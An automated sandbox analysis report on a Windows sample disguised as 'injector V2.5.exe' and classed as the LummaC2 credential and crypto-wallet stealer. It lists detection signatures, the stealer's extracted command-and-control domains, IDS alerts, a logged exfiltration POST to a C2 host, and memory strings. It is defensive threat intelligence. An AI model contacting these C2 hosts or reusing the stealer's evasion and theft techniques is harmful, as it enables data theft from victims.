Edit tour

Windows Analysis Report
injector V2.5.exe

Overview

General Information

Sample name:	injector V2.5.exe
Analysis ID:	1560308
MD5:	96f89e1cb2a8789acee8720d872b4cc5
SHA1:	03e6c31a56329ac737de81a43c9b8b9266fd31a3
SHA256:	313d44650a5c5c542bbbcae9d17c03cc0981642b1450a092bfa95956bbead114
Tags:	exeuser-4k95m
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

injector V2.5.exe (PID: 3608 cmdline: "C:\Users\user\Desktop\injector V2.5.exe" MD5: 96F89E1CB2A8789ACEE8720D872B4CC5)

conhost.exe (PID: 2108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

injector V2.5.exe (PID: 4928 cmdline: "C:\Users\user\Desktop\injector V2.5.exe" MD5: 96F89E1CB2A8789ACEE8720D872B4CC5)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["processhol.sbs", "p10tgrace.sbs", "3xp3cts1aim.sbs", "p3ar11fter.sbs", "revirepart.biz", "peepburry828.sbs"]}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000003.1799214621.00000000033D3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1849649478.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: injector V2.5.exe PID: 4928	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: injector V2.5.exe PID: 4928	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: injector V2.5.exe PID: 4928	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 1 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T16:53:01.849846+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.43.198	443	TCP
2024-11-21T16:53:04.773518+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	172.67.206.172	443	TCP
2024-11-21T16:53:07.304425+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	172.67.206.172	443	TCP
2024-11-21T16:53:09.637707+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	172.67.206.172	443	TCP
2024-11-21T16:53:11.904443+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	172.67.206.172	443	TCP
2024-11-21T16:53:14.238396+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	172.67.206.172	443	TCP
2024-11-21T16:53:17.118224+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	172.67.206.172	443	TCP
2024-11-21T16:53:19.296454+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	172.67.206.172	443	TCP
2024-11-21T16:53:22.158221+0100	2028371	3	Unknown Traffic	192.168.2.4	49746	172.67.206.172	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T16:53:02.533163+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49733	104.21.43.198	443	TCP
2024-11-21T16:53:05.490496+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49734	172.67.206.172	443	TCP
2024-11-21T16:53:08.044029+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49735	172.67.206.172	443	TCP
2024-11-21T16:53:22.898587+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49746	172.67.206.172	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T16:53:02.533163+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49733	104.21.43.198	443	TCP
2024-11-21T16:53:05.490496+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49734	172.67.206.172	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T16:53:08.044029+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49735	172.67.206.172	443	TCP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T16:53:02.928237+0100	2057697	1	A Network Trojan was detected	192.168.2.4	58217	1.1.1.1	53	UDP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T16:53:04.773518+0100	2057659	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	172.67.206.172	443	TCP
2024-11-21T16:53:07.304425+0100	2057659	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	172.67.206.172	443	TCP
2024-11-21T16:53:09.637707+0100	2057659	1	Domain Observed Used for C2 Detected	192.168.2.4	49736	172.67.206.172	443	TCP
2024-11-21T16:53:11.904443+0100	2057659	1	Domain Observed Used for C2 Detected	192.168.2.4	49737	172.67.206.172	443	TCP
2024-11-21T16:53:14.238396+0100	2057659	1	Domain Observed Used for C2 Detected	192.168.2.4	49738	172.67.206.172	443	TCP
2024-11-21T16:53:17.118224+0100	2057659	1	Domain Observed Used for C2 Detected	192.168.2.4	49740	172.67.206.172	443	TCP
2024-11-21T16:53:19.296454+0100	2057659	1	Domain Observed Used for C2 Detected	192.168.2.4	49744	172.67.206.172	443	TCP
2024-11-21T16:53:22.158221+0100	2057659	1	Domain Observed Used for C2 Detected	192.168.2.4	49746	172.67.206.172	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (revirepart .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T16:53:01.849846+0100	2057647	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	104.21.43.198	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T16:53:03.175291+0100	2057658	1	Domain Observed Used for C2 Detected	192.168.2.4	61931	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T16:53:02.928237+0100	2057668	1	Domain Observed Used for C2 Detected	192.168.2.4	58217	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (revirepart .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T16:53:00.244535+0100	2057646	1	Domain Observed Used for C2 Detected	192.168.2.4	65437	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T16:53:17.867851+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49740	172.67.206.172	443	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: revirepart.biz

Source: injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: injector V2.5.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: injector V2.5.exe, 00000002.00000002.1929912011.00000000033B4000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1902650994.00000000033B4000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1720545360.00000000033B4000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1923653498.00000000033B4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: injector V2.5.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: injector V2.5.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: injector V2.5.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: injector V2.5.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: injector V2.5.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: injector V2.5.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: injector V2.5.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: injector V2.5.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: injector V2.5.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: injector V2.5.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: injector V2.5.exe, 00000002.00000003.1821148663.0000000005B1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: injector V2.5.exe, 00000002.00000002.1930206544.00000000033FC000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1924998682.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1924998682.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1799048884.0000000005AE6000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1925547199.00000000033FC000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1902129361.00000000033FB000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1872564200.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1799214621.00000000033D3000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1930155911.00000000033DC000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1902620677.00000000033D7000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1799241711.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1799418781.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1926539223.00000000033DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://librari-night.sbs/
Source: injector V2.5.exe, 00000002.00000003.1799214621.00000000033D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://librari-night.sbs/OT
Source: injector V2.5.exe, 00000002.00000003.1923653498.0000000003361000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1873674145.00000000033FB000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1902129361.00000000033FB000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1902650994.00000000033B4000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1929912011.0000000003361000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1902597448.00000000033E6000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1799214621.00000000033D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://librari-night.sbs/api
Source: injector V2.5.exe, 00000002.00000003.1923653498.000000000337E000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1929912011.000000000337E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://librari-night.sbs/apir
Source: injector V2.5.exe, 00000002.00000003.1902012825.00000000033E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://librari-night.sbs/api~
Source: injector V2.5.exe, 00000002.00000003.1798953231.0000000005AE6000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776244127.00000000033EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://librari-night.sbs/r
Source: injector V2.5.exe, 00000002.00000003.1902620677.00000000033D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://librari-night.sbs/t?
Source: injector V2.5.exe, 00000002.00000003.1923653498.000000000337E000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1902597448.00000000033E6000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1902012825.00000000033E5000.00000004.00000020.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000002.1929912011.000000000337E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://librari-night.sbs:443/api
Source: injector V2.5.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: injector V2.5.exe, 00000002.00000003.1776917061.0000000005B85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: injector V2.5.exe, 00000002.00000003.1822505611.0000000005C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: injector V2.5.exe, 00000002.00000003.1822505611.0000000005C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: injector V2.5.exe, 00000002.00000003.1799004611.0000000005B37000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1799257320.0000000005B37000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1798838778.0000000005B37000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776917061.0000000005B83000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1777081480.0000000005B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: injector V2.5.exe, 00000002.00000003.1777081480.0000000005B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: injector V2.5.exe, 00000002.00000003.1799004611.0000000005B37000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1799257320.0000000005B37000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1798838778.0000000005B37000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776917061.0000000005B83000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1777081480.0000000005B37000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: injector V2.5.exe, 00000002.00000003.1777081480.0000000005B12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: injector V2.5.exe, 00000002.00000003.1776561248.0000000005B29000.00000004.00000800.00020000.00000000.sdmp, injector V2.5.exe, 00000002.00000003.1776480308.0000000005B2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: injector V2.5.exe, 00000002.00000003.1822505611.0000000005C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: injector V2.5.exe, 00000002.00000003.1822505611.0000000005C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: injector V2.5.exe, 00000002.00000003.1822505611.0000000005C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: injector V2.5.exe, 00000002.00000003.1822505611.0000000005C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: injector V2.5.exe, 00000002.00000003.1822505611.0000000005C01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 104.21.43.198:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.172:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.172:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.172:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.172:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.172:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.172:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.172:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.206.172:443 -> 192.168.2.4:49746 version: TLS 1.2

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 2_2_00434B70 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00434B70

Source: C:\Users\user\Desktop\injector V2.5.exe

Code function: 2_2_00434B70 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

2_2_00434B70

Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B3D4A0	0_2_00B3D4A0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B44CD0	0_2_00B44CD0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B46CD0	0_2_00B46CD0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B34CC0	0_2_00B34CC0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B46800	0_2_00B46800
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B33440	0_2_00B33440
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B47840	0_2_00B47840
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B355F0	0_2_00B355F0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B25930	0_2_00B25930
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B41D30	0_2_00B41D30
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B38129	0_2_00B38129
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B34910	0_2_00B34910
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B3DD00	0_2_00B3DD00
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B44170	0_2_00B44170
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B2B964	0_2_00B2B964
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B32AE7	0_2_00B32AE7
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B55E22	0_2_00B55E22
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B39B80	0_2_00B39B80
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B33F80	0_2_00B33F80
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B36330	0_2_00B36330
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B47330	0_2_00B47330
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B35F60	0_2_00B35F60
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B41367	0_2_00B41367
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B2A36B	0_2_00B2A36B
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B37F54	0_2_00B37F54
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 0_2_00B3F340	0_2_00B3F340
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0040A467	2_2_0040A467
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004280D0	2_2_004280D0
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0043C490	2_2_0043C490
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_00442140	2_2_00442140
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_0040DD2B	2_2_0040DD2B
Source: C:\Users\user\Desktop\injector V2.5.exe	Code function: 2_2_004251E0	2_2_004251E0
